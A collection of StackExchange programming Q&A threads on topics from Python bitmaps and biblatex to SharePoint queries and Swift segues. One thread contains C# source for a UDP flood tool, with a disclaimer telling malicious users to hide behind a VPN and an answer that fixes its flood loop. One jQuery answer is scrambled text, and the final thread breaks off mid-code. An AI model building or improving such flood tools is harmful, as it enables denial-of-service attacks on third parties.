text:
Q: How would I implement a bit map? I wish to implement a 2d bit map class in Python. The class would have the following requirements:

*

*Allow the creating of arbitrarily sized 2d bitmaps. i.e. to create an 8 x 8 bitmap (8 bytes), something like:
bitmap = Bitmap(8,8)

*provide an API to access the bits in this 2d map as boolean or even integer values, i.e.:
if bitmap[1, 2] or bitmap.get(0, 1)

*Able to retrieve the data as packed Binary data. Essentially it would be each row of the bit map concatenated and returned as Binary data. It may be padded to the nearest byte or something similar.
bitmap.data()

*Be able to create new maps from the binary data retrieved:
new_bitmap = Bitmap(8, 8, bitmap.data())

I know Python is able to perform binary operations, but I'd like some suggestions as how best to use them to implement this class.

A: Bit-Packing numpy ( SciPY ) arrays does what you are looking for.
The example shows 4x3 bit (Boolean) array packed into 4 8-bit bytes. unpackbits unpacks uint8 arrays into a Boolean output array that you can use in computations.
>>> a = np.array([[[1,0,1],
...                [0,1,0]],
...               [[1,1,0],
...                [0,0,1]]])
>>> b = np.packbits(a,axis=-1)
>>> b
array([[[160],[64]],[[192],[32]]], dtype=uint8)

If you need 1-bit pixel images, PIL is the place to look.

A: No need to create this yourself.
Use the very good Python Imaging Library (PIL)


text:
Q: Customizing subtitles with AVPlayer I was able to display a subtitle track with AVPlayer on iOS 6, but I am not able to customize it. It just shows the same style (a small font size, in white).
Here's how I select the subtitle:
AVMediaSelectionGroup *subtitle = [asset mediaSelectionGroupForMediaCharacteristic: AVMediaCharacteristicLegible];
[self.videoPlayer.currentItem selectMediaOption:subtitle.options[0] inMediaSelectionGroup: subtitle];

And how I'm trying to customize the subtitle:
AVTextStyleRule *rule = [[AVTextStyleRule alloc] initWithTextMarkupAttributes:@{
                         (id)kCMTextMarkupAttribute_ForegroundColorARGB : @[ @1, @1, @0, @0 ],
                         (id) kCMTextMarkupAttribute_ItalicStyle : @(YES)}];

self.videoPlayer.currentItem.textStyleRules = @[rule];

No matter if I put this snippet before or after selecting the subtitle, the result is the same.
The AVPlayer is created with a local (file) URL (a mp4 file).
Any thoughts on how to do this?

A: I found workaround to modify text foreground color and background correctly.
Just separate styles to multiple AVTextStyleRule.
func initSubtitleStyle() {
    let textStyle:AVTextStyleRule = AVTextStyleRule(textMarkupAttributes: [
        kCMTextMarkupAttribute_CharacterBackgroundColorARGB as String: [0.2,0.3,0.0,0.3]
        ])!

    let textStyle1:AVTextStyleRule = AVTextStyleRule(textMarkupAttributes: [
        kCMTextMarkupAttribute_ForegroundColorARGB as String: [0.2,0.8,0.4,0.0]
        ])!

    let textStyle2:AVTextStyleRule = AVTextStyleRule(textMarkupAttributes: [
        kCMTextMarkupAttribute_BaseFontSizePercentageRelativeToVideoHeight as String: 20,
        kCMTextMarkupAttribute_CharacterEdgeStyle as String: kCMTextMarkupCharacterEdgeStyle_None
        ])!

    player.currentItem?.textStyleRules = [textStyle, textStyle1, textStyle2]
}

please do not ask me why, that solution come from try and error XD

A: I asked this question on Apple Developer Forums and I got an answer from an Apple employee:

The textStyleRules property only applies to WebVTT content.  Your local file is probably carrying subtitles in TX3G format.
You're right that the documentation doesn't mention this limitation, so you should file a bug so we can get our documentation updated.

So, I'll open a radar to ask that they update the docs and I'll post its number here if someone wants to dupe it.
EDIT:
I created rdar://14923673 to ask Apple to update the docs about this current limitation. I also created rdar://14923755 to ask them to provide support to subtitles in TX3G format.
Please dupe them if you're affected by this issue.

redpajama_set_name: RedPajamaStackExchange


text:
Q: call webservice from different project I have two solutions in .net (solution "A" and solution "B") which both have web services.
I want to call a web service method in solution "B" from solution "A". I am very new to C# and not able to find an answer.

A: Run solution B. then right click on the project on solution A and click add service reference. then when you click discover the service should be visible.
creating one solution and putting both projects in it would make things more simple.

A: If both solutions A and B have web services and you want to use some functionality from web service B in A you probably should factor out this functionality in a separate class library project that you can then use in both A and B (used internally by the web services to provide their functionality).
This also will benefit your project long term, especially the testability aspect.

A: Create a new webservice in Solution B and add the required method in newly created webservice from existing service and then follow the steps provided by the Marcom.


text:
Q: How can I return an array/json object containing json objects through an ajax php call? Basically what I'm trying to do is returning the results of a mysql query. I know how to put each row of the query results into its own JSON object, now I'm just struggling with a way so that if there's multiple lines of results to return it to my jquery.
In my jquery I call the $.ajax() function and I don't have any issues with that. My problem lies within the success part, where I want to be able to do something like the following:
$.ajax ({
        type: "POST",
        url:"select.php",
        data: {columns : "*",
               table : "tbUsers",
               conditions : "" },
        success: function(results) {
            foreach (results as obj)
            {
                JSON.parse(obj);
                $("#page").html(obj.id + " " + obj.name);
            }
        }
    });

I want to be able to iterate through the result variable like an array of JSON objects. The results variable is a string that consists of All the output of the php file. So let my question rather then be, how can I change it so that the function gets an array or how do I change it into one?
My php file currently returns something like this:
[{"0":1, "1":"name1", "id":1, "name":"name1"} , {"0":2, "1":"name2", "id":2, "name":"name2"}]

A: Try something like:
$.ajax ({
    type: "POST",
    url:"select.php",
    data: {columns : "*",
        table : "tbUsers",
        conditions : "" },
    dataType: "json",
    success: function(results) {
        for( var i in results) {
            $("#page").html(results[i].id + " " + results[i].name);
        }

    }
});

Note the dataType: "json" - This will parse it all into a JSON object(s) for you.

A: From the php you can use
echo json_encode($result); // result may contain multiple rows

In your success callback you can use
success: function(results) {
    var htmlStr = '';
    $.each(results, function(k, v){
        htmlStr += v.id + ' ' + v.name + '<br />';
   });
   $("#page").html(htmlStr);
}

A Demo to help you understand.

A: quote from your question

I know how to put each row of the query results into its own JSON
  object

you need to send one big json string instead of multiple smaller ones. You'll not able to loop through the response because it is not a single json string (it are multiple json strings).
also it is better to chain the ajax callbacks because using them as options will be removed from jquery in the future.
$.ajax({
    url: ' your/url ',
    type: 'POST',
    dataType: 'json',
    data: {param1: 'value1'},
})
.done(function() {
    console.log("success");
})
.fail(function() {
    console.log("error");
})
.always(function() {
    console.log("complete");
});

http://api.jquery.com/jQuery.ajax/

Deprecation Notice: The jqXHR.success(), jqXHR.error(), and
  jqXHR.complete() callbacks are deprecated as of jQuery 1.8. To prepare
  your code for their eventual removal, use jqXHR.done(), jqXHR.fail(),
  and jqXHR.always() instead.

A: You can just return one big JSON result.  Because each of your JSON objects can be wrapped in another.
The JSON you return would then be an array of objects (whatever they may be)
{ "objects": [(first object), (second object), ... ] }

Then in your success function, you can iterate over each object and update the page:
var obj = JSON.parse(results);
jQuery.each(objs, function(i, obj) {
  $("#page").html(obj.id + " " + obj.name);
});

A: return Because wrapped success Then in your success function,you can iterate over each object and update the page You can just return one big JSON result.Because each of your JSON objects can be wrapped in another. The JSON you return would then be an array of objects (whatever they may be)


text:
Q: Replace the "Ibid." string with string "Ivi" when the same reference is cited at a different page I'm using biblatex with ext-verbose-trad1 style in memoir.
I have to use the abbreviation "ivi" when subsequently citing the same reference at a different page, while maintain the usual "ibid." abbreviation when citing the same reference at the same page.
The question is also addressed in tex.stackexchange.com/q/418701/35864, where a patch is suggested.
As the following MWE demonstrates, using ext-verbose-trad1 style the patch suggested works perfectly:
\documentclass[12pt, a4paper]{memoir}
\usepackage[italian]{babel}
\usepackage[style=ext-verbose-trad1]{biblatex}

 %patch to use ibid and ivi
 \usepackage{xpatch}
 \NewBibliographyString{ibidemloccit,ibidemnoloccit}
 \DefineBibliographyStrings{italian}{%
   idem           = {\autocap{i}d},
   ibidemloccit   = {\mkbibemph{\autocap{i}bid\adddot}},
   ibidemnoloccit = {\mkbibemph{\autocap{i}vi}},
 }

 \xpatchbibmacro{author}
   {\printnames{author}}
   {\iffootnote
      {\ifthenelse{\ifciteidem\AND\NOT\boolean{cbx:noidem}}
        {\usebibmacro{cite:idem}}
        {\printnames{author}}}
      {\printnames{author}}}
   {}{}
 \xpatchbibmacro{bbx:editor}
   {\printnames{editor}}
   {\iffootnote
      {\ifthenelse{\ifciteidem\AND\NOT\boolean{cbx:noidem}}
         {\usebibmacro{cite:idem}}
         {\printnames{editor}}}
      {\printnames{editor}}}
   {}{}
 \xpatchbibmacro{bbx:translator}
   {\printnames{translator}}
   {\iffootnote
      {\ifthenelse{\ifciteidem\AND\NOT\boolean{cbx:noidem}}
         {\usebibmacro{cite:idem}}
         {\printnames{translator}}}
      {\printnames{translator}}}
   {}{}

 \renewbibmacro*{cite:ibid}{%
   \printtext{%
     \bibhyperlink{cite\csuse{cbx@lastcite@\thefield{entrykey}}}{%
       \ifloccit
         {\bibstring[\mkibid]{ibidemloccit}%
          \global\toggletrue{cbx:loccit}}
         {\bibstring[\mkibid]{ibidemnoloccit}}}}}

  \addbibresource{biblatex-examples.bib}

\begin{document}
Lorem \footcite{aristotle:anima}
Lorem \footcite[14]{aristotle:anima}
Lorem \footcite[198]{aristotle:anima}
ipsum \footcite[198]{aristotle:anima}

\printbibliography
\end{document}

giving the output:

When I use the style ext-verbose-trad2 it gives another result. The last citation is a simple repetition of the previous, while should appear the string 'Ibid':

A: The answer from the linked question still works for (ext-)verbose-trad2. You were just missing the most important ingredient of the answer (which is mentioned in the first sentence): You need to set the option ibidpage=true,.
\documentclass[12pt, a4paper]{memoir}
\usepackage[italian]{babel}
\usepackage[style=ext-verbose-trad2, ibidpage=true]{biblatex}

%patch to use ibid and ivi
\usepackage{xpatch}
\NewBibliographyString{ibidemloccit,ibidemnoloccit}
\DefineBibliographyStrings{italian}{%
  idem           = {\autocap{i}d},
  ibidemloccit   = {\mkbibemph{\autocap{i}bid\adddot}},
  ibidemnoloccit = {\mkbibemph{\autocap{i}vi}},
}

\xpatchbibmacro{author}
  {\printnames{author}}
  {\iffootnote
     {\ifthenelse{\ifciteidem\AND\NOT\boolean{cbx:noidem}}
       {\usebibmacro{cite:idem}}
       {\printnames{author}}}
     {\printnames{author}}}
  {}{}
\xpatchbibmacro{bbx:editor}
  {\printnames{editor}}
  {\iffootnote
     {\ifthenelse{\ifciteidem\AND\NOT\boolean{cbx:noidem}}
        {\usebibmacro{cite:idem}}
        {\printnames{editor}}}
     {\printnames{editor}}}
  {}{}
\xpatchbibmacro{bbx:translator}
  {\printnames{translator}}
  {\iffootnote
     {\ifthenelse{\ifciteidem\AND\NOT\boolean{cbx:noidem}}
        {\usebibmacro{cite:idem}}
        {\printnames{translator}}}
     {\printnames{translator}}}
  {}{}

\renewbibmacro*{cite:ibid}{%
  \printtext{%
    \bibhyperlink{cite\csuse{cbx@lastcite@\thefield{entrykey}}}{%
      \ifloccit
        {\bibstring[\mkibid]{ibidemloccit}%
         \global\toggletrue{cbx:loccit}}
        {\bibstring[\mkibid]{ibidemnoloccit}}}}}

\addbibresource{biblatex-examples.bib}

\begin{document}
Lorem \footcite{aristotle:anima}
Lorem \footcite[14]{aristotle:anima}
Lorem \footcite[198]{aristotle:anima}
ipsum \footcite[198]{aristotle:anima}

\printbibliography
\end{document}


text:
Q: WPFToolkit AccordionItem does not resize to dynamically sized content I've reported an issue on project's site here https://github.com/dotnetprojects/WpfToolkit/issues/21, but someone might have a workaround for this. It seems like an inherent problem with ContentPresenter responding only to Content change but not tracking its size.

        <controls:AccordionItem Header="item1" HorizontalAlignment="Stretch" HorizontalContentAlignment="Stretch">
            <Button x:Name="button" Height="100" Width="200" Click="Button_OnClick">Grow Me</Button>
        </controls:AccordionItem>

Any ideas?


text:
Q: Multiple Lookup Columns return no items CAML Query SharePoint Views I have a document library that has reached it's 5000 view limit and I'm trying to retrospectively create views on indexed lookup columns.
I can successfully return views that are customised in SharePoint Designer to use the Interger Lookup ID. However on queries that exceed 5000 with one column filter I need to filter on an additional lookup and I can't seem to get that to work.
<Query>
    <GroupBy Collapse="TRUE" GroupLimit="500"><FieldRef Name="Project_x0020_Category"/></GroupBy>
    <OrderBy>
        <FieldRef Name="LinkFilenameNoMenu"/></OrderBy>
        <Where>
            <And>
                <Eq>
                    <FieldRef LookupId="TRUE" Name="Program"/>
                    <Value Type="Integer">6</Value>
                </Eq>
                <Eq>
                    <FieldRef LookupId="TRUE" Name="Responsible_x0020_Group"/>
                    <Value Type="Integer">9</Value>
                </Eq>
            </And>
        </Where>
        </Query>

Update
In response to a query additional information may be of help pinpointing the issue:
I'm querying a document library that has reached it's 5000 view limit, it is managed by Document sets and the filter data is to be used in the custom document set for each content type.

A: Your caml query should have <Value Type="Lookup">9</Value> instead of <Value Type="Integer">9</Value>

A: You need to use below updated code as your CAML query.
SPQuery query = new SPQuery();
query.Query = "<Where><And><Eq><FieldRef LookupId='TRUE' Name='Program'/><Value Type='Lookup'>6</Value></Eq><Eq><FieldRef LookupId='TRUE' Name='Responsible_x0020_Group'/><Value Type='Lookup'>9</Value></Eq></And></Where><GroupBy Collapse='TRUE' GroupLimit='500'><FieldRef Name='Project_x0020_Category'/></GroupBy><OrderBy><FieldRef Name='LinkFilenameNoMenu'/></OrderBy></Query>";

Note:-

*

*You can not use <Query> parameter if you are using it for SPQuery.Query.

*You should use Lookup inplace of integer to get lookupID

*You should do GroupBy & OrderBy after Where clause in CAML query.

CAML Query to get Document Set
<Where><Eq><FieldRef Name='ContentType' /><Value Type='Computed'>Document Set</Value></Eq></Where>

A: If your using two lookupfields, make sure that the two columns are added sepeartely but the second column should not be added as extra column while adding the first column from the same list. it will fix the issue


text:
Q: Calling Java Methods from Shell Scripts How to execute a Java method from inside shell scripts?

A: You can't execute an arbitrary method directly from a shell script, you'll need to have that method exposed externally in some way.
The simplest way of course is to write a main method that directly invokes the code you want to test.
Alternatively, you could make use of a Java application that takes parameters to act as a sort of launcher.  In its crudest form you can imagine an app that takes a classname and method name as arguments, then instantiates the class and invokes the method via reflection.  In a similar vein, but a bit more elegant, we use an app that invokes operations exposed via JMX in order to fire certain methods on a server when required.
Ultimately though, bash (or equivalent) doesn't understand JVM bytecode.  You will need to launch a Java process to run the method, which will involve executing some main method that in turn invokes what you need.

A: You can only call the main method. Design your main method such that it calls the method you want.
When I say call main method, you don't explicitly invoke it. It's the only entry point to a java program when you invoke it.
If your class looks like:
package com.foo;

public class Test {
    public static void main(String[] args) {
        System.out.println("Hello World!");
    }
}

You can use the following command line to invoke the main from within the directory where you can find com/foo/Test.class (If you're in the classes directory in the structure shown far below):
java com.foo.Test

If you want to do so from a different (See the directory structure far below) directory, then you'll have to set classpath.
java -cp /path/to/classes com.foo.Test

Assume the below directory structure for clarity.
-path
    -to
        -classes
            -com
                -foo
                    >Test.class

A: You can use shell script and call your java program like this:
`#!/bin/bash
JAVA_HOME=/usr/lib/jvm/jdk1.6.0_02
CLASSPATH=/home/freddy/myapp/lib/whatever.jar: .
$JAVA_HOME/bin/java -cp $CLASSPATH MyJavaClass
exit 0`

A: Try bashj (a bash mutant with java support) https://sourceforge.net/projects/bashj/. It is intended to cover your need (and much more):
for instance:
#!/usr/bin/bashj
echo Math.cos(0.5)
echo Math.hypot(3.0,4.0)
echo System.getProperty("java.runtime.version")

You can also put your own methods in a jar loaded by bashj, or include some java source code within the bashj script:
#!/usr/bin/bashj
#@java
public static int factorial(int n)
{if (n<=0) return(0);
 if (n==1) return(1);
 return(n*factorial(n-1));}
#@bash
echo j.factorial(10)


text:
Q: Add button based questions in slack integrated RASA chatbot? I want a chatbot with buttons in Slack integrated RASA Bot for example, How are you feeling? Sad or Happy. I want two-buttons(one for happy and one for sad) here and get input from the user and followed by other questions. What will be the stories.md, nlu.md, domain.yml, and frontend python code?

A: You can implement the buttons in your domain.yml file. It could look like the following:
responses:
  utter_greet:
  - text: "Hey! How are you?"
    buttons:
    - title: "great"
      payload: "great"
    - title: "super sad"
      payload: "super sad"

The payload will then be sent to the nlu model to make the prediction on the intent. That's why your nlu.md should have examples for like mood_sad, mood_great in there.
Your stories.md should look regular - it should have examples of how the conversations could go. For example:
* greet
 - utter_greet
* mood_sad
 - action_cheer_up

You can also restrict the nlu part on buttons by sending actual intents (and potential entities) to the RegexInterpreter. In that case, you can define buttons in your domain as follows:
utter_greet:
- text: "Hey! How are you?"
  buttons:
  - title: "great"
    payload: '/mood_great'
  - title: "super sad"
    payload: '/mood_sad'


text:
Q: Form freezes after UDP flood I am working on a UDP Flooder and after the attack has finished the form freezes...
So how it works is I have the button that calls the method "startUDP" with the intent of attacking a target (which it does) and I created a check inside the method to check if the attack is over and if it is to stop the while loop. Unfortunately this does not stop the program from freezing :/
Any help is appreciated!
Here is my code so far:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Net.NetworkInformation;
using System.Threading;
using System.Windows.Forms;
using ComponentFactory.Krypton.Toolkit;

namespace XeFlooder_Reborn
{
    public partial class Form1 : ComponentFactory.Krypton.Toolkit.KryptonForm
    {
        int packets;
        int totalPackets;

        public Form1()
        {
            InitializeComponent();
        }

        private void udp_start_Click(object sender, EventArgs e)
        {
            DebugLabel.Text = "Debugging Label - Resetting Packet Count 0/2...";
            //Thread.Sleep(100);
            packets = 0;
            DebugLabel.Text = "Debugging Label - Resetting Packet Count 1/2...";
            //Thread.Sleep(100);
            totalPackets = Convert.ToInt32(udp_packets.Value);
            DebugLabel.Text = "Debugging Label - Resetting Packet Count 2/2...";
            //Thread.Sleep(100);
            DebugLabel.Text = "Debugging Label - Calling attack method...";
            //Thread.Sleep(100);
            startUDP(true);
        }

        private void startUDP(bool attacking)
        {
            while(attacking)
            {
                DebugLabel.Text = "Debugging Label - Checking attack status...";
                //Thread.Sleep(100);
                if (packets < totalPackets)
                {
                    DebugLabel.Text = "Debugging Label - Initiating Flood...";
                    //Thread.Sleep(500);

                    //UDP Packet being sent to target
                    DebugLabel.Text = "Debugging Label - Creating packet that will be sent to target...";
                    //Thread.Sleep(100);
                    byte[] packet = ASCIIEncoding.ASCII.GetBytes("<XeFlooder Reborn 1.0>");
                    DebugLabel.Text = "Debugging Label - Packet creation successful...";
                    //Thread.Sleep(100);

                    //Assign Target End Point
                    DebugLabel.Text = "Debugging Label - Assigning end point based on IP and Port combination...";
                    //Thread.Sleep(100);
                    IPEndPoint ep = new IPEndPoint(IPAddress.Parse(udp_ip.Text), Convert.ToInt32(udp_port.Value));
                    DebugLabel.Text = "Debugging Label - End Point creation successful...";

                    //Socket used to flood client
                    //Thread.Sleep(100);
                    DebugLabel.Text = "Debugging Label - Creating Socket...";
                    Socket target = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
                    //Thread.Sleep(100);
                    DebugLabel.Text = "Debugging Label - Socket creation successful!";

                    //Increase counted packets by 1
                    packets++;
                    DebugLabel.Text = "Debugging Label - Sending target the packet...";
                    //Send packet to target
                    target.SendTo(packet, ep);
                    DebugLabel.Text = "Debugging Label - Flood finished...";

                    //Update Progress Trackers
                    udp_progress_bar.Maximum = totalPackets;
                    udp_progress_bar.Value = packets;
                    udp_progress_text.Text = "Progress: " + Convert.ToString(packets) + "/" + Convert.ToString(totalPackets);

                    //Check if we have reached flood limit (if attack is over)
                    if (attacking && udp_progress_bar.Value == udp_progress_bar.Maximum)
                    {
                        //Let the user know our attack is finished
                        MessageBox.Show("Successful UDP Flood Finished!");

                        //Reset packet count
                        packets = 0;
                        totalPackets = 0;

                        //Turn off attack loop
                        attacking = false;
                    }
                }
            }
            while (!attacking)
            {
                DebugLabel.Text = "Debugging Label - Waiting for command...";
            }
        }

        private string GetMacAddress()
        {
            string macAddresses = string.Empty;
            foreach (NetworkInterface nic in NetworkInterface.GetAllNetworkInterfaces())
            {
                if (nic.OperationalStatus == OperationalStatus.Up)
                {
                    macAddresses += nic.GetPhysicalAddress().ToString();
                    break;
                }
            }
            return macAddresses;
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            MessageBox.Show("The developers of XeFlooder (Reborn) are not responsible for what you do with this program, it was made for stress testing. If you choose to use this program for malicious purposes please do so while using a Proxy or a VPN. Enjoy...", "DISCLAIMER!");
            if (NetworkInterface.GetIsNetworkAvailable() != true)
            {
                MessageBox.Show("You need to be connected to the internet to use this program...\nNow exiting...");
                this.Close();
            }
            WebRequest request = WebRequest.Create("http://icanhazip.com/");
            WebResponse response = request.GetResponse();
            System.IO.StreamReader sr = new System.IO.StreamReader(response.GetResponseStream());
            string IP = sr.ReadToEnd();
            IPHostEntry host = Dns.GetHostEntry(Dns.GetHostName());
            info.Items.Add("Public IP Address: " + IP);
            foreach (IPAddress ip in host.AddressList)
            {
                if (ip.AddressFamily.ToString() == "InterNetwork")
                {
                    info.Items.Add("IPv4 Address: " + ip.ToString());
                }
            }
            info.Items.Add("Link Local Address: " + IPAddress.Broadcast);
            info.Items.Add("Machine Name: " + Dns.GetHostName());
            info.Items.Add("MAC Address: " + GetMacAddress());
        }
    }
}

A: I suspect your problem is, your setting 'attacking' false inside a nested 'if' block.  so when the outer block reads false(i.e. when packets == totalPackets) everythinbg gets by-passed and 'attacking' never gets set to false and your while loop becomes infinite.
It appears that changing your conditional to if (packets <= totalPackets) would fix it.
Can't really duplicate your problem, but here's a slightly different way to do the same thing that can't have an infinite loop.  This way if the problem persists it's not the loop.
       if(attacking)
        {
            //DebugLabel.Text = "Debugging Label - Checking attack status...";
            for (; packets <= totalPackets;packets++ )
            {
                    //Thread.Sleep(100);

                    DebugLabel.Text = "Debugging Label - Initiating Flood...";
                    //Thread.Sleep(500);

                    //UDP Packet being sent to target
                    DebugLabel.Text = "Debugging Label - Creating packet that will be sent to target...";
                    //Thread.Sleep(100);
                    byte[] packet = ASCIIEncoding.ASCII.GetBytes("<XeFlooder Reborn 1.0>");
                    DebugLabel.Text = "Debugging Label - Packet creation successful...";
                    //Thread.Sleep(100);

                    //Assign Target End Point
                    DebugLabel.Text = "Debugging Label - Assigning end point based on IP and Port combination...";
                    //Thread.Sleep(100);
                    IPEndPoint ep = new IPEndPoint(IPAddress.Parse(udp_ip.Text), Convert.ToInt32(udp_port.Value));
                    DebugLabel.Text = "Debugging Label - End Point creation successful...";

                    //Socket used to flood client
                    //Thread.Sleep(100);
                    DebugLabel.Text = "Debugging Label - Creating Socket...";
                    Socket target = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
                    //Thread.Sleep(100);
                    DebugLabel.Text = "Debugging Label - Socket creation successful!";

                    DebugLabel.Text = "Debugging Label - Sending target the packet...";
                    //Send packet to target
                    target.SendTo(packet, ep);
                    DebugLabel.Text = "Debugging Label - Flood finished...";

                    udp_progress_bar.Maximum = totalPackets;
                    udp_progress_bar.Value = packets;
                    udp_progress_text.Text = "Progress: " + Convert.ToString(packets) + "/" + Convert.ToString(totalPackets);
            }
            MessageBox.Show("Successful UDP Flood Finished!");

            //Reset packet count
            packets = 0;
            totalPackets = 0;

            //Turn off attack loop
            attacking = false;
        }
        if (!attacking)
        {
            DebugLabel.Text = "Debugging Label - Waiting for command...";
        }


text:
Q: What are some applications of unsupervised HMMs? Supervised HMMs can be applied to many problems like POS tagging and OCR (optical character recognition).
I've learned that HMMs can be trained unsupervisedly using EM (Baum-Welch algorithm), what are some example applications of this unsupervised approach?

A: Hidden Markov Models in general (both supervised and unsupervised) are heavily applied to model sequences of data. Baum-Welch algorithm which is a special case of EM algorithm is widely used in speech processing and bioinformatics. For instance, it is commonly used to predict the location of a gene in a particular chromosome, for speech recognition, structure analysis of videos and even in cryptanalysis, it is used to estimate the parameters of HMMs in deciphering noisy information or even ciphertexts.
In general, suppose you have a given set of observed sequences $\mathcal{O}= \{x_1, x_2,...x_n\}$ (could be speech recordings, sequences nucleotides, amino acids ... etc) and you are interested in analyzing the sequence based on your Hidden Markov Model. However, the solution to your analysis is meaningful only if the HMM can properly model the sequence of interest. Thus the important question is the reasonable choice for HMM parameters for the given sequence. This is where Baum-Welch algorithm is useful. Although there is no ideal way to estimate the parameters from a limited number of observed sequences, Baum-Welch algorithm lets you do it in a locally optimal way. The same can be accomplished using the segmental k-means algorithm (which is an extension of Viterbi algorithm) which differs from Baum-Welch algorithm in the optimization step.
For an interesting (unintuitive) case study, you can take a look at this paper [1] which compares the performance of supervised and unsupervised learning for modelling intentional process of humans. Their results demonstrate that supervised learning performs poorly because it introduces inherent human's biases, provides unreliable results in the absence of ground truth ...etc. On the other hand unsupervised learning performs better and requires lower human effort (for data labelling).
[1]: Ghazaleh Khodabandelou, Charlotte Hug, Rebecca Deneckere, Camille Salinesi. Supervised vs. Unsupervised
Learning for Intentional Process Model Discovery. Business Process Modeling, Development,
and Support (BPMDS), Jun 2014, Thessalonique, Greece. pp.1-15, 2014,


text:
Q: How to generate list of *all* available commands and functions? In Linux (I am using CentOS 7), there is a built in functionality to view all runnable commands. The command is run by pressing tab twice in the console followed by the prompt:
Display all 1130 possibilities? (y or n)

Pressing y outputs a huge list of commands to the console.
Is there a way to capture this output in a file?
Or is this list already stored locally? If so, how can I access this?

A: The solution I chose was to run the command:
$ compgen -A function -abck | sort -u >> cmds.txt

which appends all runnable commands, functions and aliases to a text file cmds.txt
Taken from: https://stackoverflow.com/questions/948008/linux-command-to-list-all-available-commands-and-aliases
Edit: added sort -u to command to remove duplicates as suggested by glenn jackman

A: It seems compgen outputs duplicates: perhaps programs that appear in multiple locations in your PATH:
autocomplete says:
$ [tab][tab]
Display all 2328 possibilities? (y or n)

compgen says:
$ compgen -A function -abck | wc -l
2647
$ compgen -A function -abck | sort -u | wc -l
2328

I don't know if this is important for you.


text:
Q: Segue to next view controller after successful sign up I've searched and searched and searched but not found a solution. The sign up works but will not segue to the next view controller. Heres my code:
import UIKit
import Parse
import Bolts

class SignUpVC: UIViewController, UIImagePickerControllerDelegate, UINavigationControllerDelegate {

@IBOutlet weak var profilePictureIV: UIImageView!
@IBOutlet weak var firstNameTF: UITextField!
@IBOutlet weak var lastNameTF: UITextField!
@IBOutlet weak var newUsernameTF: UITextField!
@IBOutlet weak var newPasswordTF: UITextField!
@IBOutlet weak var emailTF: UITextField!
@IBOutlet weak var phoneNumberTF: UITextField!

@IBAction func setProfilePicture(sender: AnyObject) {
    let myPickerController = UIImagePickerController()
    myPickerController.delegate = self
    myPickerController.sourceType = UIImagePickerControllerSourceType.PhotoLibrary
    self.presentViewController(myPickerController, animated: true, completion: nil)
}

@IBAction func signUpButton(sender: AnyObject) {
    let spinner: UIActivityIndicatorView = UIActivityIndicatorView(frame: CGRectMake(0, 0, 150, 150)) as UIActivityIndicatorView

    if firstNameTF.text != "" &&  lastNameTF.text != "" && newUsernameTF.text != "" && newPasswordTF.text != "" && emailTF.text != "" && phoneNumberTF.text != "" {

        let newUser = PFUser()

        if let profilePictureImage = profilePictureIV?.image {
            let profilePicture = UIImageJPEGRepresentation(profilePictureImage, 1)!
            let profilePictureImageFile = PFFile(data: profilePicture)
            newUser["profilePicture"] = profilePictureImageFile
        }
        newUser["firstName"] = firstNameTF.text
        newUser["lastName"] = lastNameTF.text
        newUser.username = newUsernameTF.text
        newUser.password = newPasswordTF.text
        newUser.email = emailTF.text
        newUser["phoneNumber"] = phoneNumberTF.text

        newUser.signUpInBackgroundWithBlock {
            (succeeded: Bool, error: NSError?) -> Void in
            if let error = error {
                spinner.startAnimating()
                self.alert("Opps", textMessage: (error.localizedDescription))
            } else {
                spinner.startAnimating()
                self.alert("Congratualtion!", textMessage: "Success, your account has been created.")
                self.performSegueWithIdentifier("showMessages", sender: self)
            }
        }
    } else {
        alert("Hmm...", textMessage: "If you want an account, please fill in the blanks.")
    }
}

override func viewDidLoad() {
    super.viewDidLoad()
    // Do any additional setup after loading the view.
}

override func didReceiveMemoryWarning() {
    super.didReceiveMemoryWarning()
    // Dispose of any resources that can be recreated.
}

override func viewWillAppear(animated: Bool) {
    self.navigationController!.navigationBar.hidden = false
}

func imagePickerController(picker: UIImagePickerController, didFinishPickingMediaWithInfo info: [String : AnyObject]) {
    profilePictureIV.image = info[UIImagePickerControllerOriginalImage] as? UIImage
    self.dismissViewControllerAnimated(true, completion: nil)
}

func alert(textTitle: String, textMessage: String) {
    let alertController = UIAlertController(title: textTitle, message: textMessage, preferredStyle: .Alert)
    alertController.addAction(UIAlertAction(title: "OK", style: .Default, handler: nil))
    self.presentViewController(alertController, animated: true, completion: nil)
}

/*
// MARK: - Navigation

// In a storyboard-based application, you will often want to do a little preparation before navigation
override func prepareForSegue(segue: UIStoryboardSegue, sender: AnyObject?) {
// Get the new view controller using segue.destinationViewController.
// Pass the selected object to the new view controller.
}
*/

}

If i play the self.performSegueWithIdentifier("showMessages", sender: self) line anywhere else then when i run the program and press the signup button it will directly go to in the messages view controller without any signup required.

A: as Paulw11 said , Try to remove alert message :-
       if let error = error {
            spinner.startAnimating()
            self.alert("Opps", textMessage: (error.localizedDescription))
        } else {
            spinner.startAnimating()
            self.performSegueWithIdentifier("showMessages", sender: self)

          }

or You can call the handler in your code.
          if let error = error {
            spinner.startAnimating()
            self.alert("Opps", textMessage: (error.localizedDescription))
        } else {
            spinner.startAnimating()
            var alert = UIAlertController(title: "Welcome", message: "Login", preferredStyle: UIAlertControllerStyle.Alert)
            alert.addAction(UIAlertAction(title:"OK", style: .Default, handler:  { action in self.performSegueWithIdentifier("showMessages", sender: self) }

          }

A: You can not pass self as a argument in side the block.
so create a method to call a segue
@IBAction func signUpButton(sender: AnyObject) {
  let spinner: UIActivityIndicatorView = UIActivityIndicatorView(frame: CGRectMake(0, 0, 150, 150)) as UIActivityIndicatorView

if firstNameTF.text != "" &&  lastNameTF.text != "" && newUsernameTF.text != "" && newPasswordTF.text != "" && emailTF.text != "" && phoneNumberTF.text != "" {

    let newUser = PFUser()

    if let profilePictureImage = profilePictureIV?.image {
        let profilePicture = UIImageJPEGRepresentation(profilePictureImage, 1)!
        let profilePictureImageFile = PFFile(data: profilePicture)
        newUser["profilePicture"] = profilePictureImageFile
    }
    newUser["firstName"] = firstNameTF.text
    newUser["lastName"] = lastNameTF.text
    newUser.username = newUsernameTF.text
    newUser.password = newPasswordTF.text
    newUser.email = emailTF.text
    newUser["phoneNumber"] = phoneNumberTF.text

    newUser.signUpInBackgroundWithBlock {
        (succeeded: Bool, error: NSError?) -> Void in
